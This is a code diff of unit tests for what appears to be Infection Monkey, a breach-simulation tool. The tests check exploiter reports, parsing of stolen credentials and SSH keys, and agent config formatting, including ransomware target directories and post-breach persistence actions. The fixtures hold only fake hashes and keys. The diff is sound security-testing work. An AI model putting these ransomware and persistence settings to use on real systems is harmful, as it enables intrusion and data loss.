a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/exploitations/test_monkey_exploitation.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/exploitations/test_monkey_exploitation.py @@ -1,22 +1,146 @@ -from tests.unit_tests.monkey_island.cc.services.reporting.test_report import ( - NODE_DICT, - NODE_DICT_DUPLICATE_EXPLOITS, - NODE_DICT_FAILED_EXPLOITS, -) +import datetime +from copy import deepcopy + +from bson import ObjectId from monkey_island.cc.services.reporting.exploitations.monkey_exploitation import ( get_exploits_used_on_node, ) +TELEM_ID = { + "exploit_creds": ObjectId(b"123456789000"), + "system_info_creds": ObjectId(b"987654321000"), + "no_creds": ObjectId(b"112233445566"), + "monkey": ObjectId(b"665544332211"), +} +MONKEY_GUID = "67890" +USER = "user-name" +PWD = "password123" +LM_HASH = "e52cac67419a9a22664345140a852f61" +NT_HASH = "a9fdfa038c4b75ebc76dc855dd74f0da" +VICTIM_IP = "0.0.0.0" +VICTIM_DOMAIN_NAME = "domain-name" +HOSTNAME = "name-of-host" + +# Below telem constants only contain fields relevant to current tests + +EXPLOIT_TELEMETRY_TELEM = { + "_id": TELEM_ID["exploit_creds"], + "monkey_guid": MONKEY_GUID, + "telem_category": "exploit", + "data": { + "machine": { + "ip_addr": VICTIM_IP, + "domain_name": VICTIM_DOMAIN_NAME, + }, + "info": { + "credentials": { + USER: { + "username": USER, + "lm_hash": LM_HASH, + "ntlm_hash": NT_HASH, + } + } + }, + }, +} + +SYSTEM_INFO_TELEMETRY_TELEM = { + "_id": TELEM_ID["system_info_creds"], + "monkey_guid": MONKEY_GUID, + "telem_category": "system_info", + "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 14, 984000), + "command_control_channel": { + "src": "192.168.56.1", + "dst": "192.168.56.2", + }, + "data": { + "credentials": { + USER: { + "password": PWD, + "lm_hash": LM_HASH, + "ntlm_hash": NT_HASH, + } + } + }, +} + +NO_CREDS_TELEMETRY_TELEM = { + "_id": TELEM_ID["no_creds"], + "monkey_guid": MONKEY_GUID, + "telem_category": "exploit", + "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 14, 984000), + "command_control_channel": { + "src": "192.168.56.1", + "dst": "192.168.56.2", + }, + "data": { + "machine": { + "ip_addr": VICTIM_IP, + "domain_name": VICTIM_DOMAIN_NAME, + }, + "info": {"credentials": {}}, + }, +} + +MONKEY_TELEM = {"_id": TELEM_ID["monkey"], "guid": MONKEY_GUID, "hostname": HOSTNAME} + +NODE_DICT = { + "id": "602f62118e30cf35830ff8e4", + "label": "WinDev2010Eval.mshome.net", + "group": "monkey_windows", + "os": "windows", + "dead": True, + "exploits": [ + { + "exploitation_result": True, + "exploiter": "Log4ShellExploiter", + "info": { + "display_name": "Log4j", + "started": datetime.datetime(2021, 2, 19, 9, 0, 14, 950000), + "finished": datetime.datetime(2021, 2, 19, 9, 0, 14, 950000), + "vulnerable_urls": [], + "vulnerable_ports": [], + "executed_cmds": [], + }, + "attempts": [], + "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 14, 984000), + "origin": "MonkeyIsland : 192.168.56.1", + }, + { + "exploitation_result": True, + "exploiter": "ZerologonExploiter", + "info": { + "display_name": "Zerologon", + "started": datetime.datetime(2021, 2, 19, 9, 0, 15, 16000), + "finished": datetime.datetime(2021, 2, 19, 9, 0, 15, 17000), + "vulnerable_urls": [], + "vulnerable_ports": [], + "executed_cmds": [], + }, + "attempts": [], + "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 15, 60000), + "origin": "MonkeyIsland : 192.168.56.1", + }, + ], +} + +NODE_DICT_DUPLICATE_EXPLOITS = deepcopy(NODE_DICT) +NODE_DICT_DUPLICATE_EXPLOITS["exploits"][1] = NODE_DICT_DUPLICATE_EXPLOITS["exploits"][0] + +NODE_DICT_FAILED_EXPLOITS = deepcopy(NODE_DICT) +NODE_DICT_FAILED_EXPLOITS["exploits"][0]["exploitation_result"] = False +NODE_DICT_FAILED_EXPLOITS["exploits"][1]["exploitation_result"] = False + def test_get_exploits_used_on_node__2_exploits(): exploits = get_exploits_used_on_node(NODE_DICT) - assert sorted(exploits) == sorted(["Elastic Groovy Exploiter", "Drupal Server Exploiter"]) + assert sorted(exploits) == sorted(["Zerologon Exploiter", "Log4Shell Exploiter"]) def test_get_exploits_used_on_node__duplicate_exploits(): exploits = get_exploits_used_on_node(NODE_DICT_DUPLICATE_EXPLOITS) - assert exploits == ["Drupal Server Exploiter"] + assert exploits == ["Log4Shell Exploiter"] def test_get_exploits_used_on_node__failed(): diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py deleted file mode 100644 index a16299707..000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_report.py +++ /dev/null @@ -1,182 +0,0 @@ -import datetime -from copy import deepcopy - -import mongoengine -import pytest -from bson import ObjectId - -from monkey_island.cc.models.telemetries import save_telemetry -from monkey_island.cc.services.reporting.report import ReportService - -TELEM_ID = { - "exploit_creds": ObjectId(b"123456789000"), - "system_info_creds": ObjectId(b"987654321000"), - "no_creds": ObjectId(b"112233445566"), - "monkey": ObjectId(b"665544332211"), -} -MONKEY_GUID = "67890" -USER = "user-name" -PWD = "password123" -LM_HASH = "e52cac67419a9a22664345140a852f61" -NT_HASH = "a9fdfa038c4b75ebc76dc855dd74f0da" -VICTIM_IP = "0.0.0.0" -VICTIM_DOMAIN_NAME = "domain-name" -HOSTNAME = "name-of-host" - -# Below telem constants only contain fields relevant to current tests - -EXPLOIT_TELEMETRY_TELEM = { - "_id": TELEM_ID["exploit_creds"], - "monkey_guid": MONKEY_GUID, - "telem_category": "exploit", - "data": { - "machine": { - "ip_addr": VICTIM_IP, - "domain_name": VICTIM_DOMAIN_NAME, - }, - "info": { - "credentials": { - USER: { - "username": USER, - "lm_hash": LM_HASH, - "ntlm_hash": NT_HASH, - } - } - }, - }, -} - -SYSTEM_INFO_TELEMETRY_TELEM = { - "_id": TELEM_ID["system_info_creds"], - "monkey_guid": MONKEY_GUID, - "telem_category": "system_info", - "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 14, 984000), - "command_control_channel": { - "src": "192.168.56.1", - "dst": "192.168.56.2", - }, - "data": { - "credentials": { - USER: { - "password": PWD, - "lm_hash": LM_HASH, - "ntlm_hash": NT_HASH, - } - } - }, -} - -NO_CREDS_TELEMETRY_TELEM = { - "_id": TELEM_ID["no_creds"], - "monkey_guid": MONKEY_GUID, - "telem_category": "exploit", - "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 14, 984000), - "command_control_channel": { - "src": "192.168.56.1", - "dst": "192.168.56.2", - }, - "data": { - "machine": { - "ip_addr": VICTIM_IP, - "domain_name": VICTIM_DOMAIN_NAME, - }, - "info": {"credentials": {}}, - }, -} - -MONKEY_TELEM = {"_id": TELEM_ID["monkey"], "guid": MONKEY_GUID, "hostname": HOSTNAME} - -NODE_DICT = { - "id": "602f62118e30cf35830ff8e4", - "label": "WinDev2010Eval.mshome.net", - "group": "monkey_windows", - "os": "windows", - "dead": True, - "exploits": [ - { - "result": True, - "exploiter": "DrupalExploiter", - "info": { - "display_name": "Drupal Server", - "started": datetime.datetime(2021, 2, 19, 9, 0, 14, 950000), - "finished": datetime.datetime(2021, 2, 19, 9, 0, 14, 950000), - "vulnerable_urls": [], - "vulnerable_ports": [], - "executed_cmds": [], - }, - "attempts": [], - "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 14, 984000), - "origin": "MonkeyIsland : 192.168.56.1", - }, - { - "result": True, - "exploiter": "ElasticGroovyExploiter", - "info": { - "display_name": "Elastic search", - "started": datetime.datetime(2021, 2, 19, 9, 0, 15, 16000), - "finished": datetime.datetime(2021, 2, 19, 9, 0, 15, 17000), - "vulnerable_urls": [], - "vulnerable_ports": [], - "executed_cmds": [], - }, - "attempts": [], - "timestamp": datetime.datetime(2021, 2, 19, 9, 0, 15, 60000), - "origin": "MonkeyIsland : 192.168.56.1", - }, - ], -} - -NODE_DICT_DUPLICATE_EXPLOITS = deepcopy(NODE_DICT) -NODE_DICT_DUPLICATE_EXPLOITS["exploits"][1] = NODE_DICT_DUPLICATE_EXPLOITS["exploits"][0] - -NODE_DICT_FAILED_EXPLOITS = deepcopy(NODE_DICT) -NODE_DICT_FAILED_EXPLOITS["exploits"][0]["result"] = False -NODE_DICT_FAILED_EXPLOITS["exploits"][1]["result"] = False - - -@pytest.fixture -def fake_mongo(monkeypatch): - mongo = mongoengine.connection.get_connection() - monkeypatch.setattr("monkey_island.cc.services.reporting.report.mongo", mongo) - monkeypatch.setattr("monkey_island.cc.models.telemetries.telemetry_dal.mongo", mongo) - monkeypatch.setattr("monkey_island.cc.services.node.mongo", mongo) - return mongo - - -@pytest.mark.usefixtures("uses_database") -def test_get_stolen_creds_exploit(fake_mongo): - fake_mongo.db.telemetry.insert_one(EXPLOIT_TELEMETRY_TELEM) - - stolen_creds_exploit = ReportService.get_stolen_creds() - expected_stolen_creds_exploit = [ - {"origin": VICTIM_DOMAIN_NAME, "type": "LM hash", "username": USER}, - {"origin": VICTIM_DOMAIN_NAME, "type": "NTLM hash", "username": USER}, - ] - - assert expected_stolen_creds_exploit == stolen_creds_exploit - - -@pytest.mark.usefixtures("uses_database", "uses_encryptor") -def test_get_stolen_creds_system_info(fake_mongo): - fake_mongo.db.monkey.insert_one(MONKEY_TELEM) - save_telemetry(SYSTEM_INFO_TELEMETRY_TELEM) - - stolen_creds_system_info = ReportService.get_stolen_creds() - expected_stolen_creds_system_info = [ - {"origin": HOSTNAME, "type": "Clear Password", "username": USER}, - {"origin": HOSTNAME, "type": "LM hash", "username": USER}, - {"origin": HOSTNAME, "type": "NTLM hash", "username": USER}, - ] - - assert expected_stolen_creds_system_info == stolen_creds_system_info - - -@pytest.mark.usefixtures("uses_database") -def test_get_stolen_creds_no_creds(fake_mongo): - fake_mongo.db.monkey.insert_one(MONKEY_TELEM) - save_telemetry(NO_CREDS_TELEMETRY_TELEM) - - stolen_creds_no_creds = ReportService.get_stolen_creds() - expected_stolen_creds_no_creds = [] - - assert expected_stolen_creds_no_creds == stolen_creds_no_creds diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_stolen_credentials.py b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_stolen_credentials.py new file mode 100644 index 000000000..7a0e0aeca --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/reporting/test_stolen_credentials.py @@ -0,0 +1,97 @@ +import pytest + +from common.common_consts.credential_component_type import CredentialComponentType +from monkey_island.cc.models import Monkey, StolenCredentials +from monkey_island.cc.services.reporting.stolen_credentials import ( + extract_ssh_keys, + get_stolen_creds, +) + +monkey_hostname = "fake_hostname" +fake_monkey_guid = "abc" + +fake_username = "m0nk3y_user" +fake_nt_hash = "c1c58f96cdf212b50837bc11a00be47c" +fake_lm_hash = "299BD128C1101FD6" +fake_password = "trytostealthis" +fake_ssh_key = "RSA_fake_key" +fake_credentials = { + "identities": [{"username": fake_username, "credential_type": "USERNAME"}], + "secrets": [ + CredentialComponentType.NT_HASH.name, + CredentialComponentType.LM_HASH.name, + CredentialComponentType.PASSWORD.name, + CredentialComponentType.SSH_KEYPAIR.name, + ], +} + + +@pytest.fixture +def fake_monkey(): + monkey = Monkey() + monkey.guid = fake_monkey_guid + monkey.hostname = monkey_hostname + monkey.save() + return monkey.id + + +@pytest.mark.usefixtures("uses_database") +def test_get_credentials(fake_monkey): + StolenCredentials( + identities=fake_credentials["identities"], + secrets=fake_credentials["secrets"], + monkey=fake_monkey, + ).save() + + credentials = get_stolen_creds() + + result1 = { + "origin": monkey_hostname, + "_type": CredentialComponentType.NT_HASH.name, + "type": "NTLM hash", + "username": fake_username, + } + result2 = { + "origin": monkey_hostname, + "_type": CredentialComponentType.LM_HASH.name, + "type": "LM hash", + "username": fake_username, + } + result3 = { + "origin": monkey_hostname, + "_type": CredentialComponentType.PASSWORD.name, + "type": "Clear Password", + "username": fake_username, + } + result4 = { + "origin": monkey_hostname, + "_type": CredentialComponentType.SSH_KEYPAIR.name, + "type": "Clear SSH private key", + "username": fake_username, + } + assert result1 in credentials + assert result2 in credentials + assert result3 in credentials + assert result4 in credentials + + +@pytest.mark.usefixtures("uses_database") +def test_extract_ssh_keys(fake_monkey): + StolenCredentials( + identities=fake_credentials["identities"], + secrets=fake_credentials["secrets"], + monkey=fake_monkey, + ).save() + + credentials = get_stolen_creds() + keys = extract_ssh_keys(credentials) + + assert len(keys) == 1 + + result = { + "origin": monkey_hostname, + "_type": CredentialComponentType.SSH_KEYPAIR.name, + "type": "Clear SSH private key", + "username": fake_username, + } + assert result in keys diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/conftest.py new file mode 100644 index 000000000..0088995f3 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/conftest.py @@ -0,0 +1,33 @@ +from datetime import datetime + +import mongoengine +import pytest + +from monkey_island.cc.models import Monkey +from monkey_island.cc.services.config import ConfigService + +fake_monkey_guid = "272405690278083" +fake_ip_address = "192.168.56.1" + + +@pytest.fixture +def fake_mongo(monkeypatch, uses_encryptor): + mongo = mongoengine.connection.get_connection() + monkeypatch.setattr("monkey_island.cc.services.config.mongo", mongo) + config = ConfigService.get_default_config() + ConfigService.update_config(config, should_encrypt=True) + + +@pytest.fixture +def insert_fake_monkey(): + monkey = Monkey(guid=fake_monkey_guid, ip_addresses=[fake_ip_address]) + monkey.save() + + +CREDENTIAL_TELEM_TEMPLATE = { + "monkey_guid": "272405690278083", + "telem_category": "credentials", + "timestamp": datetime(2022, 2, 18, 11, 51, 15, 338953), + "command_control_channel": {"src": "10.2.2.251", "dst": "10.2.2.251:5000"}, + "data": None, +} diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py new file mode 100644 index 000000000..5fcccc7a0 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py @@ -0,0 +1,112 @@ +from copy import deepcopy + +import dpath.util +import pytest +from tests.unit_tests.monkey_island.cc.services.telemetry.processing.credentials.conftest import ( + CREDENTIAL_TELEM_TEMPLATE, +) + +from common.common_consts.credential_component_type import CredentialComponentType +from common.config_value_paths import ( + LM_HASH_LIST_PATH, + NTLM_HASH_LIST_PATH, + PASSWORD_LIST_PATH, + USER_LIST_PATH, +) +from monkey_island.cc.models import StolenCredentials +from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.telemetry.processing.credentials.credentials_parser import ( + parse_credentials, +) + +fake_username = "m0nk3y_user" +cred_telem_usernames = deepcopy(CREDENTIAL_TELEM_TEMPLATE) +cred_telem_usernames["data"] = [ + {"identities": [{"username": fake_username, "credential_type": "USERNAME"}], "secrets": []} +] + +fake_special_username = "$m0nk3y.user" +cred_telem_special_usernames = deepcopy(CREDENTIAL_TELEM_TEMPLATE) +cred_telem_special_usernames["data"] = [ + { + "identities": [{"username": fake_special_username, "credential_type": "USERNAME"}], + "secrets": [], + } +] + +fake_nt_hash = "c1c58f96cdf212b50837bc11a00be47c" +fake_lm_hash = "299BD128C1101FD6" +fake_password = "trytostealthis" +cred_telem = deepcopy(CREDENTIAL_TELEM_TEMPLATE) +cred_telem["data"] = [ + { + "identities": [{"username": fake_username, "credential_type": "USERNAME"}], + "secrets": [ + {"nt_hash": fake_nt_hash, "credential_type": "NT_HASH"}, + {"lm_hash": fake_lm_hash, "credential_type": "LM_HASH"}, + {"password": fake_password, "credential_type": "PASSWORD"}, + ], + } +] + +cred_empty_telem = deepcopy(CREDENTIAL_TELEM_TEMPLATE) +cred_empty_telem["data"] = [{"identities": [], "secrets": []}] + + +@pytest.mark.slow +@pytest.mark.usefixtures("uses_database", "fake_mongo", "insert_fake_monkey") +def test_cred_username_parsing(): + parse_credentials(cred_telem_usernames) + config = ConfigService.get_config(should_decrypt=True) + assert fake_username in dpath.util.get(config, USER_LIST_PATH) + + +@pytest.mark.slow +@pytest.mark.usefixtures("uses_database", "fake_mongo", "insert_fake_monkey") +def test_cred_special_username_parsing(): + parse_credentials(cred_telem_special_usernames) + config = ConfigService.get_config(should_decrypt=True) + assert fake_special_username in dpath.util.get(config, USER_LIST_PATH) + + +@pytest.mark.slow +@pytest.mark.usefixtures("uses_database", "fake_mongo", "insert_fake_monkey") +def test_cred_telemetry_parsing(): + parse_credentials(cred_telem) + config = ConfigService.get_config(should_decrypt=True) + assert fake_username in dpath.util.get(config, USER_LIST_PATH) + assert fake_nt_hash in dpath.util.get(config, NTLM_HASH_LIST_PATH) + assert fake_lm_hash in dpath.util.get(config, LM_HASH_LIST_PATH) + assert fake_password in dpath.util.get(config, PASSWORD_LIST_PATH) + + +@pytest.mark.slow +@pytest.mark.usefixtures("uses_database", "fake_mongo", "insert_fake_monkey") +def test_cred_storage_in_db(): + parse_credentials(cred_telem) + cred_docs = list(StolenCredentials.objects()) + assert len(cred_docs) == 1 + + stolen_creds = cred_docs[0] + assert fake_username == stolen_creds.identities[0]["username"] + assert CredentialComponentType.PASSWORD.name in stolen_creds.secrets + assert CredentialComponentType.LM_HASH.name in stolen_creds.secrets + assert CredentialComponentType.NT_HASH.name in stolen_creds.secrets + + +@pytest.mark.slow +@pytest.mark.usefixtures("uses_database", "fake_mongo", "insert_fake_monkey") +def test_empty_cred_telemetry_parsing(): + default_config = deepcopy(ConfigService.get_config(should_decrypt=True)) + default_usernames = dpath.util.get(default_config, USER_LIST_PATH) + default_nt_hashes = dpath.util.get(default_config, NTLM_HASH_LIST_PATH) + default_lm_hashes = dpath.util.get(default_config, LM_HASH_LIST_PATH) + default_passwords = dpath.util.get(default_config, PASSWORD_LIST_PATH) + + parse_credentials(cred_empty_telem) + config = ConfigService.get_config(should_decrypt=True) + + assert default_usernames == dpath.util.get(config, USER_LIST_PATH) + assert default_nt_hashes == dpath.util.get(config, NTLM_HASH_LIST_PATH) + assert default_lm_hashes == dpath.util.get(config, LM_HASH_LIST_PATH) + assert default_passwords == dpath.util.get(config, PASSWORD_LIST_PATH) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_ssh_key_processing.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_ssh_key_processing.py new file mode 100644 index 000000000..6c3161cd3 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_ssh_key_processing.py @@ -0,0 +1,43 @@ +from copy import deepcopy + +import dpath.util +import pytest +from tests.unit_tests.monkey_island.cc.services.telemetry.processing.credentials.conftest import ( + CREDENTIAL_TELEM_TEMPLATE, +) + +from common.config_value_paths import SSH_KEYS_PATH, USER_LIST_PATH +from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.telemetry.processing.credentials.credentials_parser import ( + parse_credentials, +) + +fake_private_key = "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAACmFlczI1N\n" +fake_partial_secret = {"private_key": fake_private_key, "credential_type": "SSH_KEYPAIR"} + +fake_username = "ubuntu" +fake_public_key = ( + "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1u2+50OFRnzOGHpWo69" + "tc02oMXudeML7pOl7rqXLmdxuj monkey@krk-wpas5" +) +fake_secret_full = { + "private_key": fake_private_key, + "public_key": fake_public_key, + "credential_type": "SSH_KEYPAIR", +} +fake_identity = {"username": fake_username, "credential_type": "USERNAME"} + +ssh_telem = deepcopy(CREDENTIAL_TELEM_TEMPLATE) +ssh_telem["data"] = [{"identities": [fake_identity], "secrets": [fake_secret_full]}] + + +@pytest.mark.slow +@pytest.mark.usefixtures("uses_encryptor", "uses_database", "fake_mongo", "insert_fake_monkey") +def test_ssh_credential_parsing(): + parse_credentials(ssh_telem) + config = ConfigService.get_config(should_decrypt=True) + ssh_keypairs = dpath.util.get(config, SSH_KEYS_PATH) + assert len(ssh_keypairs) == 1 + assert ssh_keypairs[0]["private_key"] == fake_private_key + assert ssh_keypairs[0]["public_key"] == fake_public_key + assert fake_username in dpath.util.get(config, USER_LIST_PATH) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py deleted file mode 100644 index 6829daf4b..000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py +++ /dev/null @@ -1,61 +0,0 @@ -import uuid - -import pytest - -from monkey_island.cc.models import Monkey -from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( # noqa: E501 - SystemInfoTelemetryDispatcher, - process_aws_telemetry, -) - -TEST_SYS_INFO_TO_PROCESSING = { - "AwsCollector": [process_aws_telemetry], -} - - -class TestSystemInfoTelemetryDispatcher: - def test_dispatch_to_relevant_collector_bad_inputs(self): - dispatcher = SystemInfoTelemetryDispatcher(TEST_SYS_INFO_TO_PROCESSING) - - # Bad format telem JSONs - throws - bad_empty_telem_json = {} - with pytest.raises(KeyError): - dispatcher.dispatch_collector_results_to_relevant_processors(bad_empty_telem_json) - - bad_no_data_telem_json = {"monkey_guid": "bla"} - with pytest.raises(KeyError): - dispatcher.dispatch_collector_results_to_relevant_processors(bad_no_data_telem_json) - - bad_no_monkey_telem_json = {"data": {"collectors": {"AwsCollector": "Bla"}}} - with pytest.raises(KeyError): - dispatcher.dispatch_collector_results_to_relevant_processors(bad_no_monkey_telem_json) - - # Telem JSON with no collectors - nothing gets dispatched - good_telem_no_collectors = {"monkey_guid": "bla", "data": {"bla": "bla"}} - good_telem_empty_collectors = { - "monkey_guid": "bla", - "data": {"bla": "bla", "collectors": {}}, - } - - dispatcher.dispatch_collector_results_to_relevant_processors(good_telem_no_collectors) - dispatcher.dispatch_collector_results_to_relevant_processors(good_telem_empty_collectors) - - def test_dispatch_to_relevant_collector(self): - a_monkey = Monkey(guid=str(uuid.uuid4())) - a_monkey.save() - - dispatcher = SystemInfoTelemetryDispatcher() - - # JSON with results - make sure functions are called - instance_id = "i-0bd2c14bd4c7d703f" - telem_json = { - "data": { - "collectors": { - "AwsCollector": {"instance_id": instance_id}, - } - }, - "monkey_guid": a_monkey.guid, - } - dispatcher.dispatch_collector_results_to_relevant_processors(telem_json) - - assert Monkey.get_single_monkey_by_guid(a_monkey.guid).aws_instance_id == instance_id diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py index 766871133..8df77e00a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_authentication_service.py @@ -85,6 +85,7 @@ def test_needs_registration__false(tmp_path): assert not a_s.needs_registration() +@pytest.mark.slow @pytest.mark.parametrize("error", [InvalidRegistrationCredentialsError, AlreadyRegisteredError]) def test_register_new_user__fails( tmp_path, mock_reset_datastore_encryptor, mock_reset_database, error @@ -116,6 +117,7 @@ def test_register_new_user__empty_password_fails( mock_reset_database.assert_not_called() +@pytest.mark.slow def test_register_new_user(tmp_path, mock_reset_datastore_encryptor, mock_reset_database): mock_add_user = MagicMock() mock_user_datastore = MockUserDatastore(lambda: False, mock_add_user, None) @@ -134,6 +136,7 @@ def test_register_new_user(tmp_path, mock_reset_datastore_encryptor, mock_reset_ mock_reset_database.assert_called_once() +@pytest.mark.slow def test_authenticate__success(tmp_path, mock_unlock_datastore_encryptor): mock_user_datastore = MockUserDatastore( lambda: True, @@ -149,6 +152,7 @@ def test_authenticate__success(tmp_path, mock_unlock_datastore_encryptor): mock_unlock_datastore_encryptor.assert_called_once() +@pytest.mark.slow @pytest.mark.parametrize( ("username", "password"), [("wrong_username", PASSWORD), (USERNAME, "wrong_password")] ) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_bootloader_service.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_bootloader_service.py deleted file mode 100644 index 25869fd29..000000000 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_bootloader_service.py +++ /dev/null @@ -1,24 +0,0 @@ -from unittest import TestCase - -from monkey_island.cc.services.bootloader import BootloaderService - -MIN_GLIBC_VERSION = 2.14 - - -class TestBootloaderService(TestCase): - def test_is_glibc_supported(self): - str1 = "ldd (Ubuntu EGLIBC 2.15-0ubuntu10) 2.15" - str2 = "ldd (GNU libc) 2.12" - str3 = "ldd (GNU libc) 2.28" - str4 = "ldd (Ubuntu GLIBC 2.23-0ubuntu11) 2.23" - self.assertTrue( - not BootloaderService.is_glibc_supported(str1) - and not BootloaderService.is_glibc_supported(str2) - and BootloaderService.is_glibc_supported(str3) - and BootloaderService.is_glibc_supported(str4) - ) - - def test_remove_local_ips(self): - ips = ["127.1.1.1", "127.0.0.1", "192.168.56.1"] - ips = BootloaderService.remove_local_ips(ips) - self.assertEqual(["192.168.56.1"], ips) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index 751ca98ed..84ea942f4 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -6,15 +6,12 @@ from monkey_island.cc.services.config import ConfigService # monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/RunOptions.js -class MockClass: - pass - - @pytest.fixture(scope="function", autouse=True) def mock_port(monkeypatch, PORT): monkeypatch.setattr("monkey_island.cc.services.config.ISLAND_PORT", PORT) +@pytest.mark.slow @pytest.mark.usefixtures("uses_encryptor") def test_set_server_ips_in_config_command_servers(config, IPS, PORT): ConfigService.set_server_ips_in_config(config) @@ -22,8 +19,195 @@ def test_set_server_ips_in_config_command_servers(config, IPS, PORT): assert config["internal"]["island_server"]["command_servers"] == expected_config_command_servers +@pytest.mark.slow @pytest.mark.usefixtures("uses_encryptor") def test_set_server_ips_in_config_current_server(config, IPS, PORT): ConfigService.set_server_ips_in_config(config) expected_config_current_server = f"{IPS[0]}:{PORT}" assert config["internal"]["island_server"]["current_server"] == expected_config_current_server + + +def test_format_config_for_agent__credentials_removed(flat_monkey_config): + ConfigService.format_flat_config_for_agent(flat_monkey_config) + + assert "exploit_lm_hash_list" not in flat_monkey_config + assert "exploit_ntlm_hash_list" not in flat_monkey_config + assert "exploit_password_list" not in flat_monkey_config + assert "exploit_ssh_keys" not in flat_monkey_config + assert "exploit_user_list" not in flat_monkey_config + + +def test_format_config_for_agent__ransomware_payload(flat_monkey_config): + expected_ransomware_options = { + "ransomware": { + "encryption": { + "enabled": True, + "directories": { + "linux_target_dir": "/tmp/ransomware-target", + "windows_target_dir": "C:\\windows\\temp\\ransomware-target", + }, + }, + "other_behaviors": {"readme": True}, + } + } + + ConfigService.format_flat_config_for_agent(flat_monkey_config) + + assert "payloads" in flat_monkey_config + assert flat_monkey_config["payloads"] == expected_ransomware_options + + assert "ransomware" not in flat_monkey_config + + +def test_format_config_for_agent__pbas(flat_monkey_config): + expected_pbas_config = { + "CommunicateAsBackdoorUser": {}, + "ModifyShellStartupFiles": {}, + "ScheduleJobs": {}, + "Timestomping": {}, + "AccountDiscovery": {}, + } + ConfigService.format_flat_config_for_agent(flat_monkey_config) + + assert "post_breach_actions" in flat_monkey_config + assert flat_monkey_config["post_breach_actions"] == expected_pbas_config + + assert "custom_PBA_linux_cmd" not in flat_monkey_config + assert "PBA_linux_filename" not in flat_monkey_config + assert "custom_PBA_windows_cmd" not in flat_monkey_config + assert "PBA_windows_filename" not in flat_monkey_config + + +def test_format_config_for_custom_pbas(flat_monkey_config): + custom_config = { + "linux_command": "bash test.sh", + "windows_command": "powershell test.ps1", + "linux_filename": "test.sh", + "windows_filename": "test.ps1", + "current_server": "10.197.94.72:5000", + } + ConfigService.format_flat_config_for_agent(flat_monkey_config) + + assert flat_monkey_config["custom_pbas"] == custom_config + + +def test_get_config_propagation_credentials_from_flat_config(flat_monkey_config): + expected_creds = { + "exploit_lm_hash_list": ["lm_hash_1", "lm_hash_2"], + "exploit_ntlm_hash_list": ["nt_hash_1", "nt_hash_2", "nt_hash_3"], + "exploit_password_list": ["test", "iloveyou", "12345"], + "exploit_ssh_keys": [{"private_key": "my_private_key", "public_key": "my_public_key"}], + "exploit_user_list": ["Administrator", "root", "user", "ubuntu"], + } + + creds = ConfigService.get_config_propagation_credentials_from_flat_config(flat_monkey_config) + assert creds == expected_creds + + +def test_format_config_for_agent__propagation(flat_monkey_config): + ConfigService.format_flat_config_for_agent(flat_monkey_config) + + assert "propagation" in flat_monkey_config + assert "targets" in flat_monkey_config["propagation"] + assert "network_scan" in flat_monkey_config["propagation"] + assert "exploiters" in flat_monkey_config["propagation"] + + +def test_format_config_for_agent__propagation_targets(flat_monkey_config): + expected_targets = { + "blocked_ips": ["192.168.1.1", "192.168.1.100"], + "inaccessible_subnets": ["10.0.0.0/24", "10.0.10.0/24"], + "local_network_scan": True, + "subnet_scan_list": ["192.168.1.50", "192.168.56.0/24", "10.0.33.0/30"], + } + + ConfigService.format_flat_config_for_agent(flat_monkey_config) + + assert flat_monkey_config["propagation"]["targets"] == expected_targets + assert "blocked_ips" not in flat_monkey_config + assert "inaccessible_subnets" not in flat_monkey_config + assert "local_network_scan" not in flat_monkey_config + assert "subnet_scan_list" not in flat_monkey_config + + +def 